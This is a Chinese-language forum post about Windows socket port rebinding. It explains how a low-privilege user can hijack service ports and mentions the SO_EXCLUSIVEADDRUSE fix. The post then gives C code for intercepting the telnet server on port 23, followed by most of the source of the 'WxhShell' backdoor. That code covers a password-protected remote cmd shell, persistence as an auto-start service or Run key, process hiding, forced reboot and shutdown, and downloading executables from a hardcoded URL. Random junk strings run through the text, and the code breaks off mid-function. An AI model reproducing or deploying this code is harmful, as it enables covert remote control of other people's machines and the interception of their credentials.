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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %nV]ibp2) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7~5ym15* K>DRJz saddr.sin_family = AF_INET; Vnr[}<L XYZ4TeW\1 saddr.sin_addr.s_addr = htonl(INADDR_ANY); +O*/"]h U'<KC"f:'! bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /Sc l#4bW 'lEA)&d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TjwBv6h ^$'z!+QRM 这意味着什么?意味着可以进行如下的攻击: p IU&^yX> .ZJRO>S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7aQc=^vaZ +h r@#n4A 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) no9;<]4 &GB:|I'%7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9*{[buZX )~HUo9K9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k{Me[B hNH'XQxO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rjp-Fw~1w \l]DQaOEe 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tavpq.0O i03w1pSH, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'gTb A?+@5 K"4>DaK2P #include ck.w
5|$ #include D0%Ug> #include (K)] qNH #include Te<}*qvD DWORD WINAPI ClientThread(LPVOID lpParam); L>SjllY int main() :n.f_v}6 { j]aoR WORD wVersionRequested; (3{YM( DWORD ret; /Q2mMSK1h WSADATA wsaData; 8(~K~q[Cr BOOL val; bqnNLs<N SOCKADDR_IN saddr; C
ihAU" SOCKADDR_IN scaddr; /p+>NZ"b int err; 'Pn3%&O$ SOCKET s; -8j+s}Q SOCKET sc; ,u`YT%&L int caddsize; Od5JG .] HANDLE mt; q(2K6 DWORD tid; A<qTg`gA wVersionRequested = MAKEWORD( 2, 2 ); xK6n0] A err = WSAStartup( wVersionRequested, &wsaData ); I~Zh@d% if ( err != 0 ) { n=c
2Kc printf("error!WSAStartup failed!\n"); P#XID 2; return -1; 5`gQ~ } e0T34x' saddr.sin_family = AF_INET; vfE6Ggz
ZRg;/sX] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
SVB \ V9dF1Hj saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R)RG[F# saddr.sin_port = htons(23); }5}.lJ: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7,lq}a8z { .[3Z1v, printf("error!socket failed!\n"); zY('t!u8 return -1; IbP#_Vt } |,!IZ-
th val = TRUE; Ux}(?Z //SO_REUSEADDR选项就是可以实现端口重绑定的 B hp-jq'!B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _PlKhv} { Ire\i7MF: printf("error!setsockopt failed!\n"); Z3&_ return -1; j{9D{ } nAjO6g6E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [`rba' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 glF; eT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y<Fz)dQo {O`w,dMOI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -Ty*aov { D~$r\]av ret=GetLastError(); #R.-KUW: printf("error!bind failed!\n"); NH<5*I/ return -1; _q{c##Kf } Ko&>C_N listen(s,2); Gq }U|Z while(1) =aoMii { viMzR(JU caddsize = sizeof(scaddr); m|:_]/*qE //接受连接请求 T2!6(,
s9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /x[jQM\ if(sc!=INVALID_SOCKET) 7|[mz> "d { @>)r}b mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yX0dbW~@y if(mt==NULL) 8W#heW\-] { }` ! =
m printf("Thread Creat Failed!\n"); JAX*hGhkh break; A?t%e } ?`#/ 8PN } ,}))u0q+: CloseHandle(mt); 5yiK+-iTs } KjE+QUa closesocket(s); Y~(Md@!0S WSACleanup(); <RG|Dx[:= return 0; DFd%9*N } NF0%}II&xK DWORD WINAPI ClientThread(LPVOID lpParam) 8peDI7[| { \DD0s8 SOCKET ss = (SOCKET)lpParam; V` 1/SQX SOCKET sc; q11>f unsigned char buf[4096]; 2h=!k|6 SOCKADDR_IN saddr; MvWaB long num; x`dHJq`_g DWORD val; FZtfh DWORD ret; %e(z/"M=` //如果是隐藏端口应用的话,可以在此处加一些判断 6N;wqn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 45MLt5^| saddr.sin_family = AF_INET; D? 8rO" saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :C65-[PSdO saddr.sin_port = htons(23); K/3)g9Z&io if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3T}izG] { }woo%N P printf("error!socket failed!\n"); mA*AeP_$ return -1; eZdu2.;< } ?hWwj6i& val = 100; 9=V:&.L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NZ-\h { p-zXp K" ret = GetLastError(); isZA oYVu return -1; v(-{=*': } J~1r{5V4{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /s[l-1zW { vL\&6n~M> ret = GetLastError(); TT4./R: return -1; j/nWb`#y } )p~BQ~eip; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^*S)t.
" { [-;_ZFS{ printf("error!socket connect failed!\n"); JNa"8 closesocket(sc); 72Iy^Y[MX closesocket(ss); K_El& return -1; '
)?f{ } d_)o
while(1) ,>eMG=C; g { 0\@dYPa&C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y))u&*RuT0 //如果是嗅探内容的话,可以再此处进行内容分析和记录 `9uB~LY^i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k25WucQ num = recv(ss,buf,4096,0); #&m0WI1 if(num>0) {6c2{@ send(sc,buf,num,0); r!HwXeEn/ else if(num==0) 5c^Z/
Jl$c break; u
a~CEs num = recv(sc,buf,4096,0); E gal4 if(num>0) `}lJH i send(ss,buf,num,0); IuOgxm~Y else if(num==0) bLQ ^fH4ww break; I*IhwJFl/ } `>?ra- closesocket(ss); {
Q`QX`# closesocket(sc); f3H ed return 0 ; G-He" 4& $ } OV%Q3$15 '6xQT-sUih i 4%xfN ========================================================== ,>:;#2+og ]Qfn(u=o 下边附上一个代码,,WXhSHELL ,^x4sA[/ N\#MwLm ========================================================== k7>|q"0C *hQTO=WF #include "stdafx.h" Sz^5b! ;zIP,PMM #include <stdio.h> f"9q^ #include <string.h> oA =4=` #include <windows.h> qd#sY.|1 #include <winsock2.h> W0k0$\iX #include <winsvc.h> <0QH<4 #include <urlmon.h> =ZDAeVz3w 4&_NJ\ #pragma comment (lib, "Ws2_32.lib")
{e[c #pragma comment (lib, "urlmon.lib") 9P~\Mpk +H9 >A0JF #define MAX_USER 100 // 最大客户端连接数 gOr%!QaF #define BUF_SOCK 200 // sock buffer `S2[5i #define KEY_BUFF 255 // 输入 buffer 8g:;)u4$P T.We: ,{ #define REBOOT 0 // 重启 v|Yh w #define SHUTDOWN 1 // 关机 Xy@7y[s] 1 29q`u; #define DEF_PORT 5000 // 监听端口 =9z[[dQ|L SnFk>` #define REG_LEN 16 // 注册表键长度 Yb/i{@AJ #define SVC_LEN 80 // NT服务名长度 g"?Y+j 59%tXiO // 从dll定义API +> WM[o^I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AwTJJ0> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "v` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z7_ zMM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )E,\H@A 3q'&j,,^ // wxhshell配置信息 rc/nFl6# struct WSCFG { W ]Nv33i
[ int ws_port; // 监听端口 Ci<ATho char ws_passstr[REG_LEN]; // 口令 }yJ$SR]t int ws_autoins; // 安装标记, 1=yes 0=no e89Xb;;w char ws_regname[REG_LEN]; // 注册表键名 ]]&M@FM2z char ws_svcname[REG_LEN]; // 服务名 qWx][D" char ws_svcdisp[SVC_LEN]; // 服务显示名 ~-dV^SO char ws_svcdesc[SVC_LEN]; // 服务描述信息 &3$z4df
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *=wYuJ# int ws_downexe; // 下载执行标记, 1=yes 0=no }t;(VynV) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" V0%V5> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -W<vyNSr ^.hoLwp. }; +{/*z Q^q1ns;r // default Wxhshell configuration FP>)&3>_ struct WSCFG wscfg={DEF_PORT, .'rW.'Ft "xuhuanlingzhe", S=nP[s 1, ecgtUb8K "Wxhshell", Cf:#(D "Wxhshell", u_'!_T L "WxhShell Service", OI?K/rn "Wrsky Windows CmdShell Service", DZv=\<$,LF "Please Input Your Password: ", KrXdnY8 1, Ai/b\:V9S " http://www.wrsky.com/wxhshell.exe", wo3wtx "Wxhshell.exe" UH"#2< |b }; -CR?<A4mud /MF!GM // 消息定义模块 ?qX)ihe%k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9&2Vm;F_ char *msg_ws_prompt="\n\r? for help\n\r#>"; V~hlq$jn<Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; PZm:T+5H char *msg_ws_ext="\n\rExit."; ;i"*Ll>Q) char *msg_ws_end="\n\rQuit."; Y)$ ;Ax-D char *msg_ws_boot="\n\rReboot..."; #."Hh<C char *msg_ws_poff="\n\rShutdown..."; 3`#6ACF char *msg_ws_down="\n\rSave to "; m1IKVa7-\} 6sE{{,OGB char *msg_ws_err="\n\rErr!"; BA:yQ char *msg_ws_ok="\n\rOK!"; 2PeR -YjA+XP char ExeFile[MAX_PATH]; \/SQ,*O int nUser = 0; H{AMZyV0/d HANDLE handles[MAX_USER]; E!Zx#XP1
int OsIsNt; 0z[dlHi d)[;e() SERVICE_STATUS serviceStatus; TeWMp6u,r SERVICE_STATUS_HANDLE hServiceStatusHandle; `D":Q=: |8.(XsN // 函数声明 t2V0lyeL int Install(void); [tH-D$V int Uninstall(void); A5+rd{k/ int DownloadFile(char *sURL, SOCKET wsh); U|5nNiJM int Boot(int flag); Z1h] void HideProc(void); !bD@aVf?5 int GetOsVer(void); >rP#ukr5 int Wxhshell(SOCKET wsl); X!j{o void TalkWithClient(void *cs); T /mI[*1xI int CmdShell(SOCKET sock); \(Pohw WWo int StartFromService(void); L3p` int StartWxhshell(LPSTR lpCmdLine); 78Aa|AJU UDc$"a}ds{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /\w)>0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); R'dSbn 'r@:Cz3e*I // 数据结构和表定义 xESjM1A) SERVICE_TABLE_ENTRY DispatchTable[] = _6k*'aT~FK { $%%os6y2v {wscfg.ws_svcname, NTServiceMain}, +e-,ST&w( {NULL, NULL} e|rg;`AW }; g!`3{
/4 AWjm~D-? // 自我安装 Rm5Kkzd0o int Install(void) bO;(bE m@ { yg2uC(2 char svExeFile[MAX_PATH]; ?hR7<02 HKEY key; WnHUE strcpy(svExeFile,ExeFile); Dgql?+2$ 9M /SH$Qy // 如果是win9x系统,修改注册表设为自启动 y')RT R{>M if(!OsIsNt) { k;EPpr-{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c.|l-zAeX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H Y ynMP RegCloseKey(key); g'l?~s`SB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DS2)@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7P B)'Wl"6 RegCloseKey(key); 3s:%2%jVK return 0; +'G0 {;b } <|*'O5B } }%-t+Tf, } 9 Q!bt else { @O}7XRJ_8 $fpq
3 // 如果是NT以上系统,安装为系统服务 ~aXqU#8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &(a(W22O if (schSCManager!=0) ~RBrSu) { IhiGP
{ SC_HANDLE schService = CreateService 3pXLSdxB ( #Ch;0UvFF schSCManager, 3:5DL!Sm8J wscfg.ws_svcname, &6j<c a wscfg.ws_svcdisp, erl:9. SERVICE_ALL_ACCESS, 5 #]4YI; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K?4FT$9G SERVICE_AUTO_START, QJW`}`R SERVICE_ERROR_NORMAL, M|[ZpM+ svExeFile, W><dYy=z5 NULL, +-a&2J;J' NULL, ,SScf98,j NULL, QR>
Y%4 ;h NULL, D%7kBfCb NULL RkuuogZ ); 9]>iSG^H if (schService!=0) (9 gOtJ { [Qdq}FYr CloseServiceHandle(schService); ir:d'g1k CloseServiceHandle(schSCManager); #Y93y\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dp5f7>]:( strcat(svExeFile,wscfg.ws_svcname); sLcFt1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XMRNuEU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z?^"\u- RegCloseKey(key); @ 2_<,;$ return 0; .9|uQEL } 3_`szl- } j}+5vB|0 CloseServiceHandle(schSCManager); [WB{T3j } ~JuKV&&}K } S)A'Y]2X H<ZU#U0FZf return 1; (vJ2z
=z } R[1BfZ 6s me\cLFw // 自我卸载 {6d b{ ay_ int Uninstall(void) -Y:ROoFOZ { |c2v%'J2G HKEY key; 8@M'[jT np WEop> if(!OsIsNt) { vtMJ@!MN; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]]cYLaq( RegDeleteValue(key,wscfg.ws_regname); eeUp 1g RegCloseKey(key); S^cH}-+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }wSy RegDeleteValue(key,wscfg.ws_regname); HhkN^S, RegCloseKey(key); D6Y6^eS- return 0; #^&jW } y1BgK>R } xq!IbVV/h } Gqyue7;0, else { kA7(CqUW (tl}q3U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rwpgBl if (schSCManager!=0) .h;Se { >&H~nGP. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t#<KxwhcN if (schService!=0) 5]7&IDA]]9 { '5};M)w if(DeleteService(schService)!=0) { 3D)b*fPc CloseServiceHandle(schService); L8V3BH7B CloseServiceHandle(schSCManager); ?Ay3u^X return 0; 5@XV6 } S;A)C`X& CloseServiceHandle(schService); I}v]Zm9 } 135vZ:S CloseServiceHandle(schSCManager); zH'2s-.bi } +=8X8<Pu } 5#_tE<uM k|O,1 return 1; H2Eb\v`# } G^Xd- 7 GQ P Tnac // 从指定url下载文件 +zRh
fIJHH int DownloadFile(char *sURL, SOCKET wsh) H_X?dj15 { #@Ujx_F HRESULT hr; B#tdLv"I char seps[]= "/"; =s'7$D}0. char *token; Isovwd char *file; 8mgQu]> char myURL[MAX_PATH]; n=`w9qajd char myFILE[MAX_PATH]; ^t78jfl viuiqs5[Bi strcpy(myURL,sURL); bV3lE6z token=strtok(myURL,seps); Yjup while(token!=NULL) JfTfAq] { FD6v/Y file=token; `Lz1{#F2G token=strtok(NULL,seps); n9fk,3 } "g
`nsk (G8 GetCurrentDirectory(MAX_PATH,myFILE); ^'B-sz{{ strcat(myFILE, "\\"); vF>gU_gz. strcat(myFILE, file); ?Bu}.0ku-$ send(wsh,myFILE,strlen(myFILE),0); tF`MT%{Va send(wsh,"...",3,0); m.V,I}J.q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a{_ KSg if(hr==S_OK) w4{y"A return 0; k,X74D+ else aqfL0Rg+` return 1; /S/aUvN [A_r1g&_ } Lht[g9 Tiprdvm< // 系统电源模块 /{DaPqRa int Boot(int flag) C|6{fd4? { ;i9>}]6 HANDLE hToken; >Me]m<$E; TOKEN_PRIVILEGES tkp; vOgLEN&] j@C0af if(OsIsNt) { dYyW]nZ& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Oh=
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g+9v$[! tkp.PrivilegeCount = 1; l.7d$8'\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IIaxgfhZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XOxB
(0@ if(flag==REBOOT) { ?f@ 9n ph if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .&chdVcxyS return 0; rBevVc![ } QV/";A3k else { d +xA: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PEy/k. return 0; C*O
,rm} } bp Ml =_ } M]B3vPA/v else { W^(Iw%ek if(flag==REBOOT) { taCCw2s-8* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m %Y(O return 0; s$3`X(Pn } 0l1.O2- else { u0BMyH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -,/3"}<^78 return 0; .M+v?Ad } &Y=.D:z< } 3`rIV*&_{ eKJ:?Lxv; return 1; M,JA;a, _ } !a4cjc( !u%9;>T7 // win9x进程隐藏模块 Oc^m_U8>^ void HideProc(void) SW;HjQ>V { !3HsI|$<G 7(@(Hm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &<=e_0zT if ( hKernel != NULL ) `A"Q3sf% { A:c]1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ixzTJ]y u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;ct)H*
y FreeLibrary(hKernel); QmHwn)Ly } 3]_qj*V 'f6PjI return; /B=l,:TnJ } (h|ch# v D&Kae< // 获取操作系统版本 lJ'trYaq7 int GetOsVer(void) Ym:{Mm=ud { s<d!+< OSVERSIONINFO winfo; lDlj+fK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y.9~Bo<<r GetVersionEx(&winfo); PnJ*Zea if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mb~./.5F return 1; ;'hi9L else Lb^(E- return 0; W'V@ } >"bnpYSe -+' #*V // 客户端句柄模块 }
m6\C5 int Wxhshell(SOCKET wsl) 5=m3J!? { T aEt SOCKET wsh; k}-]W@UCa? struct sockaddr_in client; EFwL.'Fh DWORD myID; W8x[3,gT v#-E~;CcC while(nUser<MAX_USER) @?Fx { [='p!7z int nSize=sizeof(client); aSTFcz" wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ny B&uf if(wsh==INVALID_SOCKET) return 1; y]J3hKs hMz&JJ&B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o|+E+l9\ if(handles[nUser]==0) FXeV6zfrE closesocket(wsh); =Iy/cHK else Dw*Arc+3V nUser++; -}< d(c } :;q>31:h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A<2I! R|$[U return 0; xHm/^C&px } 0FTRm2( 2q/nAQ+ // 关闭 socket XN4oL[pO void CloseIt(SOCKET wsh) V8\$`NEP { [4ee <J closesocket(wsh); G{/; AK nUser--; 8i[".9}G\ ExitThread(0); 6GY32\Ac } z;ULQ kAY@^vi // 客户端请求句柄 Z6NJ)XQy6F void TalkWithClient(void *cs) K q/~T7Ru { Uld_X\;Q4 9e-*JYF]C SOCKET wsh=(SOCKET)cs; u>81dO]H char pwd[SVC_LEN]; xJN |w\& char cmd[KEY_BUFF]; 'N*!>mZ<
char chr[1]; jk
K#e$7 int i,j; m;1'u;
0GS{F8f~, while (nUser < MAX_USER) { ?_8%h`z T.J`S(oI if(wscfg.ws_passstr) { pn|p(6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DL
%S(l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xQX<w\s //ZeroMemory(pwd,KEY_BUFF); +O&RBEa[ i=0; l_bL,-|E8 while(i<SVC_LEN) { ]NbX`' L7s>su|c( // 设置超时 r>E\Cco fd_set FdRead; hx*HY%\P struct timeval TimeOut; `i=JjgG@ FD_ZERO(&FdRead); h -Tsi:%b FD_SET(wsh,&FdRead); =d}gv6v2S TimeOut.tv_sec=8; *Yj~]E0`1 TimeOut.tv_usec=0; +:fqL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ESn6D@" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p(~Y"
H yI3Q |731) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4[2=L9MIo~ pwd =chr[0]; mXQl; if(chr[0]==0xd || chr[0]==0xa) { w'!ECm>*` pwd=0; &$<(D0 break; *Kp}B}}J } g[m3IJzq i++; -,FK{[h]ka } 6 #-6Bh)>4 oSN8Xn*qr // 如果是非法用户,关闭 socket ,2RC |h^O, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1P+Mv^%I } *~"zV`*Q oG+K '(BB send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SAd97A: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :0WkxEY9 i/5y^
while(1) { g@<sU0B wEBtre7 ZeroMemory(cmd,KEY_BUFF); zt-'SY 7fap* // 自动支持客户端 telnet标准 c9\B[@-q j=0; os}b?I*K while(j<KEY_BUFF) { yT[Lzv# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J"/JRn cmd[j]=chr[0]; \_lG#p| if(chr[0]==0xa || chr[0]==0xd) { |P^]@om cmd[j]=0; B jH ~Ml2 break; =Dh$yC-Zr } M4zX*&w.T j++; 44'=;/ } n33JTqX 1y},9ym // 下载文件 [B}1z if(strstr(cmd,"http://")) { 7k'=F m6za send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Y,/dyT
Zm if(DownloadFile(cmd,wsh)) hO^&0? send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZp=BM"bJ else 8]sTX9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'q{PtYr } >(IITt else { }%-UL{3% ]cx" switch(cmd[0]) { /d{glOk //#xK D // 帮助 fKPiRlLS case '?': { JVD@I{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9=Y,["br$_ break; ^t\kLU } \?bwm&6+r // 安装 @`w' case 'i': { B.]qrS| if(Install()) 5u'TmLuKT send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1;cv-W else r{pI-$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UiJ^~rn break; XD;15a } :*mA,2s // 卸载 zkjPLeX case 'r': { hknwis%y if(Uninstall()) ~bQFk?ZN+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); skk-.9 else 6'RZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z-N-9E break; $w|o@ Ml) } :SpG&\+ // 显示 wxhshell 所在路径 Y&?|k'7 case 'p': { UI|v/(_^F char svExeFile[MAX_PATH]; 03X<x| strcpy(svExeFile,"\n\r"); "\VW.S strcat(svExeFile,ExeFile); GOv92$e send(wsh,svExeFile,strlen(svExeFile),0); 9F2w.(m break; c*y$bf< } LVPt*S= / // 重启 ke3HK9P; case 'b': { - XE79 fQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /2g)Z!&+L if(Boot(REBOOT)) 1VhoJGH;C send(wsh,msg_ws_err,strlen(msg_ws_err),0); IUh5r(d 68 else { 5en
[)3E closesocket(wsh); Q3B'-BZe ExitThread(0); .\z|Fr } ^ 4u3Q break; m&Y;/kr } 8CHb~m@^$ // 关机 B(4:_j\2 case 'd': { Z]mM send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /E`l:&89) if(Boot(SHUTDOWN)) l%sp[uqcg send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nw9-pQ else { ,omp F$% closesocket(wsh); AJ;u&&c4C\ ExitThread(0); ka?IX9t\ } L Q I: ]d break; xm%[}Dt] } TEaD-mY3 // 获取shell -4*'WzWr case 's': { q|47;bK' CmdShell(wsh); z;fd#N: closesocket(wsh); l}2%?d ExitThread(0); %\(y8QV break; {Y3_I\H8{ } `nd#< w> // 退出 p|bc=`TD case 'x': { ,<uiitOo send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l5\B2 +}7 CloseIt(wsh); :$SRG^7md break; ;
McIxvj } Q|j@#@O 1 // 离开 G+#| )V case 'q': { F:*[ send(wsh,msg_ws_end,strlen(msg_ws_end),0); <FUqD0sQ closesocket(wsh); |xsV(jK8 WSACleanup(); AiyvHt exit(1); f>\bUmk( break; Vq\..!y } U}RS*7` } VgFF+Eg } Se^/VVm !LHzY( // 提示信息 zCBtD_@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~]IVl" } C>w9
{h } 1K?
&
J2 [p( #WM: return; AhbT/ } ADLa.{ 1c<CEq:?e% // shell模块句柄 66^1&D" int CmdShell(SOCKET sock) in=k:j,U0 { )}k?r5g STARTUPINFO si; O?j98H
Sya ZeroMemory(&si,sizeof(si)); CfkNy[}= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eB<V%,%N# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !OuTXa,IH PROCESS_INFORMATION ProcessInfo; s%L"
c char cmdline[]="cmd"; RAg|V:/M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VQNYQqu`[ return 0; s{"`=dKT } I |<+'G 9z|>roNe // 自身启动模式 L6[rvM|9_ int StartFromService(void) L5zG0mC8 { rx}ujjx typedef struct N1s$3Ul { \4\\575zp' DWORD ExitStatus; fncwe ';? DWORD PebBaseAddress; FfD
,cDs DWORD AffinityMask; qSpa4W[ DWORD BasePriority; +c]N]?k& ULONG UniqueProcessId; zgq_0w~X ULONG InheritedFromUniqueProcessId; MUCJ/GF* } PROCESS_BASIC_INFORMATION; v'
9( et wQdW
